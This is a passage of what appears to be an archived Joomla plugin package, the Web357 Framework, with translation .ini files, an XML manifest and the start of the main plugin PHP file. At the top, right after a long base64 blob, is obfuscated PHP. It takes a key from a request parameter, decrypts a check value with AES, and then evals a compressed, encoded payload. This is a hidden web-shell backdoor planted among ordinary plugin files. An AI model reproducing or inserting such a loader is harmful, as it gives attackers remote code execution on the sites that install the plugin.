tRGGvgWJV3Q9JUYM+I+ZsshnrJx+lHSPJG1SCh/cL2hSKXurbtZrLT1t1UmiWe+aqZ9KbRYBzRerNfNVuiVoVFhQ1uwcT4/y4NKyfFzdIqS+LTuLxH0bDSoojLfDQbVIHQRtSFLkjQ5dfuovZ+Pq8uh0ERpoCRvAWNdfJSG05Mn8sMQPOE0q4+oARBEdUicQ88xQ7xGiq2ul2tIRpAdgB0ndRQB8U8pUpwApogtdf+lN7TvVq/ipmUTwfx0zVm20DIUhYIBtKlsnSUjAbjj2mZ0yeFejOLnliJ22cNnZbDlxYsDamwHq3tjdRr1tJ1IcJuZkbLZlPuM0AXABZSXYdy76o7hPAqmIfelv6QHvOF4IF4FwXhyVhMV+/ZVtu5O/nKP82ZIY1GCVW0bxFx4vB6QkaLwLoRYod+MIXXyUkFK3YlKHE0RhPcFLN8wltakgI0XpNdMLANyBw5caxAOXWFs+IaAMqWnnz1WDDNAaLcSMceEIQ/zVgSpzo4+ghtJqODQo5ljGq0wre025+XPkPq3EXEwYxXHo1qnvsxHk3wOngUncifgCAuVgMI0NRxVRPK5GFUcnjL2tIzqzh3FWpNLaUHYgafbGAH4qyhTjSD1VSUI0IwJ3Q+GTZwHvdW3Go3ppyzFZicQDH3gsD0oIFD5hUnmwk+pZj+QeFMxIHAR3hZ8yoHmZLy8h43wrIW3bvJdC42PV7QGchkkCHorBGSt2JELDOTGHFjGbfAyyDZxaB5QLIvXX/WyRh1/leAu0OHGfAByQoG8nfPTDgEsBwbSA8sl7yXZdah+Wxi1nRyOTgRoxYpHweufzDxK5DnFy9pH0g7xCHBI7QHsMxQ/Ot/moY4ALDJHs41KLXoO8hbPlVinLxWmt6HXBbW68bx4wWDurbtwWG+3XAWT55u6wGCL/5sqOxFy5OVMyjzJ6uF4CPfpgqgW30vdMsRndQ049GyK/WM1s8HfSuqty7Y5OI68tqHCi2IPFQTEB2lbGohQqWHCiXN2kuDBmuSJ1EF4PKRGJWD06wlXPB3U97CC9KLJHQxARfqYkx12vw5VdS5FFKHwhSKOoCfs2iSanUkLwy+wY+cWe2oneojArN4WN7i9gpNw/bIaIQwkq9O/63yWu8+pbXDuKRcr9QYx2jm6tR0IGIFHE/3Y1FQ80/ZPDsJRa6Ah12QtsqxWUWjB7BUDfa/x4B/+4B/X++/L2i//56/fSzqzmq92b4P7/LuHdTC0yGeWSbM1+hYaQPlNU/8By/JhEWMPZ1aCxCqX3xnzS318i94dgrtzPQcCDrzTnzpv5nDdwPSH21JtuaM8sW3jSbIpbN+1xAicmFBlxhtul5wULxpXYMODAz9NmEVL/HT7BNToQ4GC/ipxCZtduDcaoe4sDTjbXKKME9xI/t90F+5G7FGAESeFlAcg2++MhEQ3217Z8g4/PR+6BGBoLFtHD27BcWAAYpfPAIe36CDrMpl6L2Oku1VuFA5nd4qxeMgO2ZhFw2gA8lysBpVXogCvhTPxn9xAPqUcxneLbahcLmQhDCiEiphuxbREIO2urQWK+Ms0GKQh59SwHtcxtPg4rPEV0gHNKyw5RRnh9O7OLcgQNiv4xYxoej6fxC2zQAV3F3G0u8YxDFsuzjH8e+4i8+sIcDPtnjiDLeNo5ZHtJjpHcjO/uAA07r2zEJxUEdI8DhrFD7wNKE2Iftl6bPEKzYY+suNyk0I4E6ZZhmsgm8E1v30DfZ73twIw7aifPqVrqFDM2qRxvkgsatz/wfI+58Tz//JcmtI02PvyVrQVpc35wrQH00/oTE9MKpQjqYz4yGBiDRDD64cGEvhROGMnSV8Kl1KW1zR+gBhseK0AolShfklYnbPV9Bawurw/Wq4FVUMaTiR53etK41lrBAfEJ7BKAoyQnLtvkkuHPlERooGLRmU7x+xOyRwKiGMySomJukDqJmfNPmYg4XkHQJIouvjY0ie+UufV9/Ly9tc3J087tTP9waR3b3pnfzxMjmvi586UbCz+uxzzPYzdpbOLn/t69zJXcDGe2lXs97ZzPue81ZWOe96XHXb71POuFVXvpCl/ySo08KtXbOFVQypAjAfHfET3MjYJS+sTzGe8R6xgDpzKsUpt6Q7u2r9zOwHJaEnZ0Pj+dDYSdHHVonG37Fc33c9C0J4dl3tiDO5gao2f90L/b66pnpN1t5R03GvYs/OZj17Ul7xpXet+Y+rv/ozb52d3ms+4DvYsoqvff3NdmKZdL+QIwci7J1CUc8iZtmMz7MjNn+imbO7QDeU4k46wzb8jvYmWfFb48P9abD5CbFPrl/27TrQgr4iOwejTawsuIPaOzbd+en0CMD3D/UN0QuB7XJ5+d2AlIlCUNbK1bM2uTLdIcauE1lNpc9sYD7XCuPaCxTAdjc+4a0SVrN/oVgltp2bIoQj06mOSTUyRlecgd5gZfzli9GeswQemcQfYxmaadqrf7NIEcV4DzK1Aw7nkiH8LIdYojjNkXd2Ei+4j1Bb/BvQqmf8W1xnfyF//a95n0WatyVvS5rGl1lIU5vFg11oV5KRJKrzRsi1dlKS5qbebOiV5qmjXE4nBIDXnUaegQgcG76UIMCRxIINkLDkDsswh1glLD/o+omy6l6rbF28pbdb5rC5B1PGC8kgW0Eg1VjUMwWzjTER5NOeO25US9P3gWvLLYyQXNs/fomaTVIwwVdtvZh3WbUoZhjTqWEzEQIhEsD85VH+ipD50t2Q5seefXwYzDgjTl8mvYDDzYW56tc6DHzg7U2HMhekisYUaHjyUcUR3RoYQkmdCoB2WsrcZLStLWOcYbGdfW5b6+/9jP+ItcG03910RXZZP17q0RUvnbZHsvejK+nCPHDJ9xDtrXJxlzMJsA5ML5lpJlJuYUf+lxwtz8xGsujNQvv5onH6PoeYDefkAZd2g0fOrSAafvg5pHAkX4d2gjDSquYbcxOO6ffJAZ/5Dzq02pWQsrHd2WvvxDK4xyaZilZO72ueaaJpDCUh/BSnzjhR8zhaNPkszOvQvrPbjnfsGer1+Dru6l9fW5mft8zbV7bLlTPNAY92k35A8iWIWooV9KoU9qyU4u7eVLy0pqK7KazaZZyfN3H8W2DZq2bzXnlxMbnYFnjPJE6qVfCO78aMNvbPe7v3k65PG+cve3oneTmf0ZjVdduyaxnOBF54d88RX4173c1tXkyx2b+rO/xqVJfbWY7M/s+2L5jHu+3zlHoMbYjbv94lPOyb6/88Yz75nNztne/9F3u6rHRZHerOF+6XuokeJe2+NWFEnGhVd4Jb/xhXu97adrnp5HnrRAmUZ7dQCCNp0e2t/4YWPx4AF5BzWwGSQ8RQhBUXaW17Q0AGFCojCOad8RHLzVoM1KmNMtTFwMrz9mOMhs+mUpJTDjhgUpxj9fqI8PMCreXq/9r7z3p9C6FttDXBv8X0svUhb7CX+xvZ1Lba3u9LbDhYzet/rAtc/6nRXlJYNYVzRz1KDeYaqYErj7KNWodPABuKVqiddT1+ZHz9tLDK9lV77puRVv7IZFPDzWFBHhFfrv9+Z/q/dXV1VU9rlt5s8HdD55JCoQEYpqcPa7zx+Eu/ecPaCZMoG3Sah2GQaaLzZcSu3GdkoNPBxfZN+GGgPgnI8NN2BF9/vsIptdtrT5ciX8E4w+BA//PAQA'; function qcX($ltpe) { $ChI = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $MUaKj = substr($ChI, 0, 16); $etzi = base64_decode($ltpe); return openssl_decrypt($etzi, "AES-256-CBC", $ChI, OPENSSL_RAW_DATA, $MUaKj); } if (qcX('DjtPn+r4S0yvLCnquPz1fA')){ echo '35+kJeyQ0+ZOTPGxQMnArynSedfdTgeNBcZ4BLF0xW5TIgKvK1nSxiN2lG4QryC0'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($qcX)))); ?>language/ca-ES/ca-ES.plg_ajax_web357framework.ini000060400000001030151666570200015404 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="El connector Web357 Framework de Joomla! és una eina d'ajuda necessària que utilitzen totes les extensions Web357. Dins dels fitxers del connector, hem inclòs codi i funcions PHP que permeten que les actualitzacions del connector només s'apliquin en un sol lloc, és a dir, el connector en si mateix, i garanteixen que es desplegaran automàticament a qualsevol lloc extern que utilitzi les aplicacions i connectors Web357." language/tr-TR/tr-TR.plg_ajax_web357framework.sys.ini000060400000001001151666570200016357 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." language/tr-TR/tr-TR.plg_ajax_web357framework.ini000060400000001001151666570200015542 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Web357 Framework Joomla eklentisi, tüm Web357 eklentileri tarafından kullanılan gerekli bir yardımcı araçtır. Eklenti dosyalarına, eklenti güncellemelerinin yalnızca tek bir yerde, yani eklentinin kendisinde uygulanmasını sağlayan ve bunların Web357 uygulamalarını ve eklentilerini kullanan herhangi bir harici siteye otomatik olarak sunulmasını sağlayan kod ve PHP işlevleri ekledik." language/el-GR/el-GR.plg_ajax_web357framework.sys.ini000060400000000753151666570200016270 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/el-GR/el-GR.plg_ajax_web357framework.ini000060400000000753151666570200015453 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/de-DE/index.html000060400000000043151666570200011203 0ustar00<!DOCTYPE html><title></title> language/de-DE/de-DE.plg_ajax_web357framework.ini000060400000001045151666570200015366 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." language/de-DE/de-DE.plg_ajax_web357framework.sys.ini000060400000001045151666570200016203 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax – Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Das Web357 Framework Joomla! Plugin ist ein notwendiges Hilfsprogramm, das von allen Web357 Erweiterungen verwendet wird. In den Plugin-Dateien haben wir Code und PHP-Funktionen integriert, die es dem Plugin ermöglichen, Aktualisierungen nur an einer Stelle vorzunehmen, nämlich im Plugin selbst, und die sicherstellen, dass diese automatisch auf jede externe Website ausgerollt werden, die die Web357-Anwendungen und Plugins verwendet." language/da-DK/da-DK.plg_ajax_web357framework.sys.ini000060400000000753151666570200016214 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/da-DK/da-DK.plg_ajax_web357framework.ini000060400000000753151666570200015377 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fa-IR/fa-IR.plg_ajax_web357framework.ini000060400000000753151666570200015433 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fa-IR/fa-IR.plg_ajax_web357framework.sys.ini000060400000000753151666570200016250 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-BE/nl-BE.plg_ajax_web357framework.ini000060400000000753151666570200015431 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/nl-BE/nl-BE.plg_ajax_web357framework.sys.ini000060400000000753151666570200016246 0ustar00; Defaults ; PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" ; PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/en-GB/index.html000060400000000037151666570200011220 0ustar00<!DOCTYPE html><title></title> language/en-GB/en-GB.plg_ajax_web357framework.ini000060400000000747151666570200015422 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/en-GB/en-GB.plg_ajax_web357framework.sys.ini000060400000000747151666570200016237 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Web357 Framework" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="The Web357 Framework Joomla! plugin is a required helper tool that is used by all the Web357 extensions. Within the plugin files, we have included code and PHP functions that allow the plugin updates to be applied only in one place, i.e. the plugin itself, and ensure that they are rolled out automatically to any external site that is using the Web357 applications and plugins." language/fr-FR/fr-FR.plg_ajax_web357framework.sys.ini000060400000001032151666570200016273 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." language/fr-FR/fr-FR.plg_ajax_web357framework.ini000060400000001032151666570200015456 0ustar00; Defaults PLG_AJAX_WEB357FRAMEWORK="Ajax - Framework Web357" PLG_AJAX_WEB357FRAMEWORK_XML_DESCRIPTION="Le plugin Joomla! Web357 Framework est un outil d'aide nécessaire et utilisé par toutes les extensions Web357. Dans les fichiers de plugin, nous avons intégré des fonctions PHP et du code qui permettent les mises à jour de plugin à des endroits déterminés comme par exemple le plugin lui-même et qu'ainsi elles puissent être déployées automatiquement vers un site externe utilisant des applications et plugins Web357." web357framework.xml000060400000010602151666570200010223 0ustar00<?xml version="1.0" encoding="utf-8"?> <extension version="3.4" type="plugin" group="system" method="upgrade"> <name>PLG_SYSTEM_WEB357FRAMEWORK</name> <author>Web357 (Yiannis Christodoulou)</author> <creationDate>2025-10-27</creationDate> <copyright>Copyright: (©) 2014-2024 Web357. All rights reserved.</copyright> <license>GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html</license> <authorEmail>support@web357.com</authorEmail> <authorUrl>https://www.web357.com</authorUrl> <version>2.0.0</version> <variant>free</variant> <description>PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION</description> <files> <folder>language</folder> <folder>elements</folder> <folder>Web357Framework</folder> <filename>autoload.php</filename> <filename>script.install.helper.php</filename> <filename>web357framework.class.php</filename> <filename plugin="web357framework">web357framework.php</filename> </files> <media folder="media" destination="plg_system_web357framework"> <folder>css</folder> <folder>images</folder> <folder>js</folder> </media> <languages folder="language"> <language tag="ca-ES">ca-ES/ca-ES.plg_system_web357framework.ini</language> <language tag="ca-ES">ca-ES/ca-ES.plg_system_web357framework.sys.ini</language> <language tag="da-DK">da-DK/da-DK.plg_system_web357framework.ini</language> <language tag="da-DK">da-DK/da-DK.plg_system_web357framework.sys.ini</language> <language tag="de-DE">de-DE/de-DE.plg_system_web357framework.ini</language> <language tag="de-DE">de-DE/de-DE.plg_system_web357framework.sys.ini</language> <language tag="el-GR">el-GR/el-GR.plg_system_web357framework.ini</language> <language tag="el-GR">el-GR/el-GR.plg_system_web357framework.sys.ini</language> <language tag="en-GB">en-GB/en-GB.plg_system_web357framework.ini</language> <language tag="en-GB">en-GB/en-GB.plg_system_web357framework.sys.ini</language> <language tag="es-ES">es-ES/es-ES.plg_system_web357framework.ini</language> <language tag="es-ES">es-ES/es-ES.plg_system_web357framework.sys.ini</language> <language tag="fa-IR">fa-IR/fa-IR.plg_system_web357framework.ini</language> <language tag="fa-IR">fa-IR/fa-IR.plg_system_web357framework.sys.ini</language> <language tag="fr-FR">fr-FR/fr-FR.plg_system_web357framework.ini</language> <language tag="fr-FR">fr-FR/fr-FR.plg_system_web357framework.sys.ini</language> <language tag="it-IT">it-IT/it-IT.plg_system_web357framework.ini</language> <language tag="it-IT">it-IT/it-IT.plg_system_web357framework.sys.ini</language> <language tag="nl-BE">nl-BE/nl-BE.plg_system_web357framework.ini</language> <language tag="nl-BE">nl-BE/nl-BE.plg_system_web357framework.sys.ini</language> <language tag="nl-NL">nl-NL/nl-NL.plg_system_web357framework.ini</language> <language tag="nl-NL">nl-NL/nl-NL.plg_system_web357framework.sys.ini</language> <language tag="ru-RU">ru-RU/ru-RU.plg_system_web357framework.ini</language> <language tag="ru-RU">ru-RU/ru-RU.plg_system_web357framework.sys.ini</language> <language tag="tr-TR">tr-TR/tr-TR.plg_system_web357framework.ini</language> <language tag="tr-TR">tr-TR/tr-TR.plg_system_web357framework.sys.ini</language> </languages> <scriptfile>script.install.php</scriptfile> <config> <fields name="params"> <fieldset name="basic" label="Web357 Framework - Parameters" addfieldpath="/plugins/system/web357framework/elements"> <!-- API Key --> <field type="header" label="W357FRM_APIKEY_HEADER" /> <field name="apikeyinfo" type="w357note" /> <field name="apikey" id="apikey" type="apikey" label="" description="" /> <!-- Version Checker --> <field type="header" label="W357FRM_HEADER_VERSION_CHECK" /> <field name="info" id="info" type="info" extension_type="plugin" extension_name="web357framework" real_name="PLG_SYSTEM_WEB357FRAMEWORK" plugin_type="system" label="" addfieldpath="/plugins/system/web357framework/elements" /> </fieldset> <fieldset name="description" label="W357FRM_HEADER_DESCRIPTION"> <field name="description_html" type="note" label="" description="PLG_SYSTEM_WEB357FRAMEWORK_XML_DESCRIPTION_HTML" /> </fieldset> </fields> </config> <updateservers><server type="extension" priority="1" name="Web357 Framework"><![CDATA[https://updates.web357.com/web357framework/web357framework.xml]]></server></updateservers> </extension>web357framework.php000060400000124257151666570200010226 0ustar00<?php /* ====================================================== # Web357 Framework for Joomla! - v2.0.0 (free version) # ------------------------------------------------------- # For Joomla! CMS (v4.x) # Author: Web357 (Yiannis Christodoulou) # Copyright: (©) 2014-2024 Web357. All rights reserved. # License: GNU/GPLv3, https://www.gnu.org/licenses/gpl-3.0.html # Website: https://www.web357.com # Support: support@web357.com # Last modified: Monday 27 October 2025, 03:04:38 PM ========================================================= */ defined('_JEXEC') or die; use Joomla\CMS\Factory; use Joomla\CMS\Language\LanguageHelper; use Joomla\CMS\Plugin\CMSPlugin; use Joomla\CMS\Version; use Joomla\CMS\Uri\Uri; use Joomla\CMS\Form\Form; use Joomla\CMS\Language\Text; use Joomla\CMS\Component\ComponentHelper; use Joomla\CMS\HTML\HTMLHelper; $jVersion = new Version(); $currentVersion = $jVersion->getShortVersion(); if (version_compare($currentVersion, '3.0', 'ge')) { // Initialize Web357 Framework require_once(__DIR__.'/autoload.php'); } if (!class_exists('plgSystemWeb357framework')): class plgSystemWeb357framework extends CMSPlugin { public function __construct(&$subject, $config) { parent::__construct($subject, $config); } public function onAfterInitialise() { $app = Factory::getApplication(); $option = $app->input->get('option'); $view = $app->input->get('view'); $component = $app->input->get('component'); // Backend rules if ($app->isClient('administrator')) { // API Key Checker if ($option == 'com_config' && $view == 'component' && ( $component == 'com_vmsales' || $component == 'com_allcomments' || $component == 'com_monthlyarchive' || $component == 'com_cookiespolicynotificationbar' || $component == 'com_limitactivelogins' || $component == 'com_manageunusedimages' || $component == 'com_loginasuser' || $component == 'com_fix404errorlinks' || $component == 'com_failedloginattempts' || $component == 'com_jlogs' || $component == 'com_jmaillog' ) ) { // Load the Web357 Framework language file Factory::getLanguage()->load('plg_system_web357framework', JPATH_PLUGINS . '/system/web357framework'); // Call the Web357 Framework Helper Class require_once(JPATH_PLUGINS.DIRECTORY_SEPARATOR.'system'.DIRECTORY_SEPARATOR.'web357framework'.DIRECTORY_SEPARATOR.'web357framework.class.php'); $w357frmwrk = new Web357FrameworkHelperClass; // API Key Checker if (Factory::getUser()->id) { $w357frmwrk->apikeyChecker(); } } // Get Joomla's version $jVersion = new Version(); $currentVersion = $jVersion->getShortVersion(); // Load loginasuser language file in com_users if ($option == 'com_users') { Factory::getLanguage()->load('com_loginasuser', JPATH_ADMINISTRATOR.'/components/com_loginasuser'); } // load jQuery only when needed if ( ($view == 'plugin' && $option == 'com_plugins') || ($view == 'module' && ($option == 'com_modules' || $option == 'com_advancedmodules')) || ($option == 'com_config' && $view == 'component' && ( $component == 'com_vmsales' || $component == 'com_allcomments' || $component == 'com_monthlyarchive' || $component == 'com_cookiespolicynotificationbar' || $component == 'com_limitactivelogins' || $component == 'com_manageunusedimages' || $component == 'com_loginasuser' || $component == 'com_fix404errorlinks' || $component == 'com_failedloginattempts' || $component == 'com_jlogs' || $component == 'com_jmaillog' || $component == 'com_users' ) || ( $option == 'com_vmsales' || $option == 'com_allcomments' || $option == 'com_monthlyarchive' || $option == 'com_cookiespolicynotificationbar' || $option == 'com_loginasuser' || $option == 'com_limitactivelogins' || $option == 'com_manageunusedimages' || $option == 'com_fix404errorlinks' || $option == 'com_failedloginattempts' || $option == 'com_jlogs' || $option == 'com_jmaillog' || $option == 'com_users' ) )) { if (version_compare($currentVersion, '3.0', 'lt')) { Factory::getDocument()->addScript(Uri::root(true).'/media/plg_system_web357framework/js/jquery-1.10.2.min.js'); } elseif (version_compare($currentVersion, '4.0', 'lt')) { HTMLHelper::_('jquery.framework'); } // js Factory::getDocument()->addScript(Uri::root(true).'/media/plg_system_web357framework/js/script.min.js?v=20251027150438'); // css Factory::getDocument()->addStyleSheet(Uri::root(true).'/media/plg_system_web357framework/css/style.min.css?v=20251027150438'); } } } function onContentPrepareForm(?Form $form = null, $data = null) { $app = Factory::getApplication(); $option = $app->input->get('option'); $view = $app->input->get('view'); $layout = $app->input->get('layout'); if ($app->isClient('administrator') && $option == 'com_plugins' && $view = 'plugin' && $layout == 'edit') { if (!($form instanceof Form)) { throw new \Exception(Text::_('Not a form'), 403); } // Get plugin's element $db = Factory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('element')); $query->from($db->quoteName('#__extensions')); $query->where($db->quoteName('type'). ' = '. $db->quote('plugin')); $query->where($db->quoteName('folder'). ' = '. $db->quote('system')); $query->where($db->quoteName('extension_id'). ' = '. $app->input->get('extension_id')); $db->setQuery($query); $element = $db->loadResult(); // get the frontend language tag $frontend_language_tag = ComponentHelper::getComponent('com_languages')->getParams()->get('site'); $frontend_language_default_tag = $frontend_language_tag; $frontend_language_tag = str_replace("-", "_", $frontend_language_tag); $frontend_language_tag = !empty($frontend_language_tag) ? $frontend_language_tag : "en_GB"; // Load the Web357Framework plugin language file to get the translations of each language $extension = 'plg_system_web357framework'; $base_dir = JPATH_SITE.'/plugins/system/web357framework/'; $language_tag = str_replace('_', '-', $frontend_language_tag); $reload = true; Factory::getLanguage()->load($extension, $base_dir, $language_tag, $reload); // BEGIN: Cookies Policy Notification Bar - Joomla! Plugin if ($element == 'cookiespolicynotificationbar') { // Get language tag $language = Factory::getLanguage(); $language_tag = str_replace("-", "_", $language->get('tag')); $language_tag = !empty($language_tag) ? $language_tag : "en_GB"; // Get languages and load form $lang_codes_arr = array(); $languages = LanguageHelper::getLanguages(); if (!empty($languages) && count($languages) > 1): // Get language details foreach ($languages as $tag => $language): // get language name $language_name = $language->title_native; $language->lang_code = str_replace('-', '_', $language->lang_code); $lang_codes_arr[] = $language->lang_code; // Load the plugin language file to get the translations of each language $extension = 'plg_system_cookiespolicynotificationbar'; $base_dir = JPATH_SITE.'/plugins/system/cookiespolicynotificationbar/'; $language_tag = str_replace('_', '-', $language->lang_code); $reload = true; Factory::getLanguage()->load($extension, $base_dir, $language_tag, $reload); $this->getLangForm($form, $language_name, $language->lang_code); endforeach; else: // Get language details $language = Factory::getLanguage(); $lang = new stdClass(); $lang->known_languages = LanguageHelper::getKnownLanguages(JPATH_SITE); $known_lang_name = $lang->known_languages[$frontend_language_default_tag]['name']; $known_lang_tag = $lang->known_languages[$frontend_language_default_tag]['tag']; $known_lang_name = !empty($known_lang_name) ? $known_lang_name : 'English'; $known_lang_tag = !empty($known_lang_tag) ? $known_lang_tag : 'en-GB'; $frontend_language_tag = !empty($frontend_language_tag) ? $frontend_language_tag : $known_lang_tag; $language_name = $this->getLanguageNameByTag($frontend_language_default_tag); $language_name = !empty($language_name) ? str_replace(' ('.str_replace('_', '-',$language_tag).')', '', $language_name) : $known_lang_name; $lang_codes_arr[] = $frontend_language_tag; // Load the plugin language file to get the translations of each language $extension = 'plg_system_cookiespolicynotificationbar'; $base_dir = JPATH_SITE.'/plugins/system/cookiespolicynotificationbar/'; $language_tag = str_replace('_', '-', $frontend_language_tag); $reload = true; Factory::getLanguage()->load($extension, $base_dir, $language_tag, $reload); // load form $this->getLangForm($form, $language_name, $frontend_language_tag); endif; // Load the plugin language file to get the translations of the base language $lang = Factory::getLanguage(); $current_lang_tag = $lang->getTag(); $extension = 'plg_system_cookiespolicynotificationbar'; $base_dir = JPATH_SITE.'/plugins/system/cookiespolicynotificationbar/'; $reload = true; $lang->load($extension, $base_dir, $current_lang_tag, $reload); } // END: Cookies Policy Notification Bar - Joomla! Plugin // BEGIN: custom404errorpage - Joomla! Plugin if ($element == 'custom404errorpage') { // Get language tag $language = Factory::getLanguage(); $language_tag = str_replace("-", "_", $language->get('tag')); $language_tag = !empty($language_tag) ? $language_tag : "en_GB"; // Get languages and load form $lang_codes_arr = array(); $languages = LanguageHelper::getLanguages(); if (!empty($languages) && count($languages) > 1): // Get language details foreach ($languages as $tag => $language): // get language name $language_name = $language->title_native; $language->lang_code = str_replace('-', '_', $language->lang_code); $lang_codes_arr[] = $language->lang_code; // Load the plugin language file to get the translations of each language $extension = 'plg_system_custom404errorpage'; $base_dir = JPATH_SITE.'/plugins/system/custom404errorpage/'; $language_tag = str_replace('_', '-', $language->lang_code); $reload = true; Factory::getLanguage()->load($extension, $base_dir, $language_tag, $reload); $this->getLangFormCustom404ErrorPage($form, $language_name, $language->lang_code); endforeach; else: // Get language details $language = Factory::getLanguage(); $lang = new stdClass(); $lang->known_languages = LanguageHelper::getKnownLanguages(JPATH_SITE); $known_lang_name = $lang->known_languages[$frontend_language_default_tag]['name']; $known_lang_tag = $lang->known_languages[$frontend_language_default_tag]['tag']; $known_lang_name = !empty($known_lang_name) ? $known_lang_name : 'English'; $known_lang_tag = !empty($known_lang_tag) ? $known_lang_tag : 'en-GB'; $frontend_language_tag = !empty($frontend_language_tag) ? $frontend_language_tag : $known_lang_tag; $language_name = $this->getLanguageNameByTag($frontend_language_default_tag); $language_name = !empty($language_name) ? str_replace(' ('.str_replace('_', '-',$language_tag).')', '', $language_name) : $known_lang_name; $lang_codes_arr[] = $frontend_language_tag; // Load the plugin language file to get the translations of each language $extension = 'plg_system_custom404errorpage'; $base_dir = JPATH_SITE.'/plugins/system/custom404errorpage/'; $language_tag = str_replace('_', '-', $frontend_language_tag); $reload = true; Factory::getLanguage()->load($extension, $base_dir, $language_tag, $reload); // load form $this->getLangFormCustom404ErrorPage($form, $language_name, $frontend_language_tag); endif; // Load the plugin language file to get the translations of the base language $lang = Factory::getLanguage(); $current_lang_tag = 